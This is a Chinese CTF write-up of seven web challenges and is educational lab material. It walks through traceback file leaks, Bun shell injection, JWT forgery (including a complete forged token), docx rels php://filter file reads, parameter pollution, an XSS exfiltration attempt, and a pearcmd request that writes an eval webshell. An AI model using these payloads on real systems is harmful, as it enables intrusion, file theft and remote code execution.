前言:
感觉这次的难度比第八届难,也是成功爆零了(好久没有这种坐牢的感觉了)。但是复现的时候其实感觉有几道题还是能做的出来的只是当时没有看就死专着一题不放(小比赛的老毛病了)
EzPyeditor
描述:我开发了一个在线python编辑器,它能够指出你的语法错误,而且实现的代码量极少,我真的是个天才! 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录
考点:
ast.parse()
和traceback.format_exc()
报错堆栈信息导致的文件泄露
当时在这题卡了半天没打出来
按我当时做题的思路,首先源码里有两个py文件,一个app.py
和secret.py
先看secret.py
,可以看到将flag赋值为了环境变量也就是我们最终要得到的flag。所以此时我就有一个思路——运行这个文件从而得到flag
再看主工作文件app.py
,check路由中有两个可疑的函数ast.parse()
和traceback.format_exc()
当时查了一下这两个函数
1 | ast.parse(source, filename='<unknown>', mode='exec', *, type_comments=False, feature_version=None, optimize=-1):解析包含语法错误的代码时,会抛出SyntaxError异常 |
查看后,我就有一个更进一步的思路——通过构造恶意输入触发异常,使 traceback.format_exc()
返回的堆栈信息中包含敏感文件内容或代码执行结果。
但是当时构造了半天也没有构造出来,赛后看了一下wp确实就是我的这个思路了。就是利用ast.parse()
进行一个文件读取,并且故意触发异常从而通过traceback.format_exc()
返回文件内容(当时比赛的时候其实我也试过了,但是没有读取到/etc/passwd
我就没有进一步尝试了,现在看看wp的poc我感觉当时我应该是没有注意到报错里面其实已经有/etc/passwd
的内容了)
默认参数是source,利用filename参数指定目标文件文件
1 | { |
可以看到我这里只触发了line 1报错,所以只读取到了/etc/passwd
的line 1
读取secret.py
,这里要触发line 6报错
1 | { |
这里还有一个很细节的点(我是第一次尝试就用(
来报错所以没有考虑到)
1 | ':语法错误发生在源代码解析阶段,词法错误。Python立即报错,错误在词法分析阶段就被捕获,不继续解析,不显示上下文。 |
EzEcho
描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录
考点:Bun内部shell注入、Bash运算符重定向命令
这题看这篇文章就可以做了 浅谈 Bun 内部shell注入
观察源码可以发现很明显是Bun的一个命令执行
利用反引号进行命令执行
1 | `ls` |
但是这里进行cat的时候发现被转义了
利用bash运算符重定向命令进行绕过
1 | `cat<flag` |
发现flag和f4444文件里只有一个/readflag
,发现还有一个flag.sh
读取看看
可以看到还是/readflag
,那么运行一下这个flag.sh
文件试试
1 | `sh<flag.sh` |
直接就可以得到flag了
EzGrades
描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录
考点:jwt登录验证逻辑绕过
先看网站,有一个注册界面,随便先注册一个号登录看看
探索了一下啥也没有
题目给了源码,那么接着就来观察源码,最主要的就是两个py文件
1 | auth.py:主要是jwt的加密解密逻辑以及登录验证逻辑 |
进一步分析,可以在routes.py
看到要得到flag就需要教师的身份然后访问/grades_flag
即可得到
那么跟进到auth.py
的is_teacher_role()
我们只需要将is_teacher
赋值为true即可,但是我们这里并不知道用于jwt加密的SECRET_KEY
是什么,那么我们就根据他给的加密逻辑来直接生成token
直接抓包/signup
接着添加参数is_teacher
用得到的token访问/grades_flag
即可得到flag
EzReveal
描述:散装英语:have you any secret in the word?give me word and i will back you secret in the word. flag 在 /flag.txt 不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录
考点:word文档文件读取(代码审计逻辑漏洞)、php伪协议、软链接绕过
open_basedir
进入网站就是一个文件上传,随便上传个文件发现只能上传word文档
题目给了源码,那就代码审计一下
代码对上传文件类型进行了一个限制——只能上传word文档,并且是写死了的基本无法绕过,那么看到这里可以猜测有可能是word文档的xxe注入
接着往下看,simplexml_load_string()
会对word中的word/_rels/document.xml.rels
进行xml解析,但是打到这里我查资料发现这个文件并不能够打xxe注入。。。
进一步分析代码,可以看到一个file_get_contents()
读取$filename
,这里如果构造word/_rels/document.xml.rels
的Relationship标签里的内容,给Type赋值为http://schemas.openxmlformats.org/officeDocument/2006/relationships/image
,给Target赋值为media/php://filter/resource=./flag.txt
,这样substr
会将media/
给截断从而实现file_get_contents(php://filter/resource=./flag.txt)
读取根目录的flag文件。接着往下看代码还对$file进行了一个zlib_decode
那么我们最终要得到message就需要在读取flag.txt
时对其进行加密,所以构造如下
1 | <?xml version="1.0" encoding="UTF-8" standalone="yes"?> |
接着再打包为docx上传,但是发现居然还是没有读到flag
再仔细观察代码发现还有个open_basedir
限制了目录穿越,那么这里也是尝试用软链接将当前所在的media目录链接到根目录再读取flag.txt
1 | //word/_rels/document.xml.rels |
接着上传这个1.docx
即可得到flag
c
描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录
考点:php和flask框架参数污染
观察app.py
,可以看到一个登录验证的逻辑。
admin用户的密码被md5加密并存储在数据库中
查看数据库很明显能看出密码是admin
登录发现报错需要本地才能登录,尝试用XFF但是并没办法绕过
看了一下报错发现在app.py
中找不到,再仔细观察一下代码结构发现还有个index.php
,里面也有一个身份验证的逻辑
那么这里首先要关注的第一个点就是当php使用POST请求存在重复参数时,取最后一个值;第二个点就是php://input
会读取原始的HTTP请求体(包含所有参数)
那么这里我们就可以利用参数污染来实现登录验证的绕过
在PHP端处理:
$_POST['username']
= “111” (取最后一个)$_POST['password']
= “123456” (取最后一个)Check_Admin("111")
= false → 通过检查!- 发送原始数据到Flask:
username=admin&password=admin&username=111&password=123456&login-submit=
在Flask端处理:
request.form.get('username')
= “admin” (Flask可能取第一个或最后一个,取决于实现)request.form.get('password')
= “admin”- 使用”admin”/“admin”进行数据库认证 → 成功!
1 | username=admin&password=admin&username=111&password=123456&login-submit= |
EzBase
描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录
考点:xss外部链接请求越权获取源码
进入后发现需要登录才能使用其他功能,先随便注册个普通用户登录,登录后有一个加密功能以及一个发送编码id给管理员。
暂时没有思路,题目给了源码审计一下
可以看到我们最终的目的就是要从encodings这张表中的text字段获取到flag
接着分析,从源码中可以分析出主要路由的作用
/create
:对用户输入进行base91加密并存储
/e/{id}
:显示指定编码id存储的内容
/report
:只有admin用户可以使用,调用adminbot.js
让admin查看用户内容根据三个路由的功能可以猜测可能存在xss注入
再次观察代码,flag是需要以管理员登录后访问特定的id才能够看到,但是管理员密码未知也无法伪造。还有一个关键的点是普通用户查看id时没有任何限制的只需要有对应的id即可,但是我们并不知道flag对应的id是什么。所以现在的思路有一种就是利用xss漏洞来请求管理员的首页源码从而获取到flag指定的id,然后访问这个id即可获取到flag
先用脚本将xss的payload进行base91解密(注意payload中的符号都要用url编码因为based1不识别这些符号)
1 | import based91 |
服务器端使用nc监听7777
接着把上面脚本生成的编码到create中进行加密(注意不要有回车)
但是这里我尝试了好久都没有打通,服务端永远都接收不到(猜测可能是CSP的问题但是用各种方法都绕不过去)
最后也是放弃了,用wp中别人获取到的来糊弄了。。。(如果有打通的佬球球教一下)
EzJWT
描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录
考点:JWT算法混淆绕过签名验证
进入后发现Authentication failed
再加上JWT可以初步猜测应该是要伪造身份通过身份验证
题目给了源码,直接代码审计
在index.js
中能看到最终需要通过admin的验证才能获取到flag
先在源码基础上改一个生成token的脚本
1 | const crypto = require('crypto'); |
这样生成的token是利用hs512算法对签名进行加密。但是由于secret并没有固定所以始终无法得到对应的token以至于无法匹配通过验证。
这里就需要利用到算法混淆来绕过签名验证,可以观察这里的算法其实是可以自己指定的,并不一定就一定需要用题目给的hs256或者hs512。
更改alg的值为constructor
此时的签名(signature)的生成逻辑const signature = algorithms[header.alg.toLowerCase()](data, secret);
实际上是const signature = algorithms[’constructor‘](data, secret);
,由于 algorithms
对象没有 constructor
属性,JavaScript 会返回 Object
构造函数。调用 Object(data, secret)
,而Object(data, secret)
实际上返回的是 data
的字符串包装对象,当这个对象被转换为字符串时,又变回了原始的 data
字符串(这里会有点难理解)
1 | const base64UrlDecode = (str) => { |
所以此时我们可以改脚本为
1 | const crypto = require('crypto'); |
data是由header和payload的base64Url编码字符串用点连接而成,所以这里的signature=data=header.payload
。所以此时生成的token结构为header.payload.header.payload
由于jwt的结构是header.payload.signature三部分组成所以.
是可以去除的(代码中.
对base64UrlDecode
并没有影响)
所以最终的token为
1 | eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ |
那么接下来来分析一下验证的逻辑(其实跟生成逻辑一样的)
我们输入token后,会经过以下过程
1 | const data = "eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ"; |
所以以上就是全过程思路了(不得不说官方给的wp有点水了,理解了好半天)
最终输入token即可得到flag
EzPhp
描述:不需要任何扫描或爆破,请不要扫描和爆破,这没有意义 # 若出现401 Authorization Required,请使用用户zkaq,密码zkaq 登录
考点:pearcmd文件包含漏洞(数据流写入+base64+标签闭合)
代码审计,其实就是一个文件包含,但是要经过安全检测(猜测黑名单限制了zip协议和php伪协议以及)。关键的两个地方——一个是给了一个GET请求参数xiebro
并且会自动在末尾加上.php
后缀,其次就是只能读取文件内容开头前5位是<?php
的文件。
那么根据这个基本上是没办法直接通过文件包含拿到flag的。
换个思路,查看一下phpinfo的内容,发现环境中配置了pear命令(可能存在pearcmd文件包含漏洞)
pearcmd文件包含漏洞的利用条件:
1.知道
pearcmd.php
文件的路径(默认路径是/usr/local/lib/php/pearcmd.php
)2.开启了
register_argc_argv
选项(只有开启了,$_SERVER[‘argv’]
才会生效。)3.有包含点,并且能包含php后缀的文件,而且没有open_basedir的限制。
先来查看一下pearcmd.php
文件的路径,尝试直接读取这个文件发现是存在的(如果文件不存在就会返回phpinfo.php
)
接着查看register_argc_argv
选项是否开启
利用条件都符合,那么接下来就开始漏洞利用
1 | ?xiebro=/usr/local/lib/php/pearcmd&+config-create+/<?=eval($_REQUEST['shell'])?>+/tmp/shell.php |
接着就是文件包含,这里用php伪协议读取文件,但是由于p:被过滤了
可以用ph%70
绕过
1 | /?xiebro=ph%70://filter/resource=/tmp/shell |
但是打到这里发现读取文件没法执行命令,返回查看发现文件内容被作为路径值了(如果直接在页面查看还可以发现<>
被进行url编码)
使用base64,发现还是不成功,还是以路径的形式
尝试用?><?
前后闭合发现不成功
问了ai后发现还可以用数据流的形式
于是可以构造?><?php eval($_REQUEST['shell'])?><?
但是发现还是不行
接着构造,将<?php eval($_REQUEST['shell'])?>
进行进行一层base64加密后再包裹起来进行base64加密,结果发现还是不行。
最后我发现了个很艹蛋的两个点,我上面的尝试全是白费的。。。一个是文件名不能使用shell.php
,第二个点是不能使用REQUEST请求(想不明白一点)
最后也是放上我的payload
1 | //原始payload |
写入后连接蚁剑发现连接成功
进入后发现flag需要root权限,发现目录里还有一个readflag文件,根据经验直接执行发现成功越权得到flag
后面我去看了一下发现shell文件确实是写入了,但是一模一样的文件内容在里面就是会以路径的形式写入我也不清楚为啥,也是很艹蛋了,我以后绝对不用shell做文件名了。。。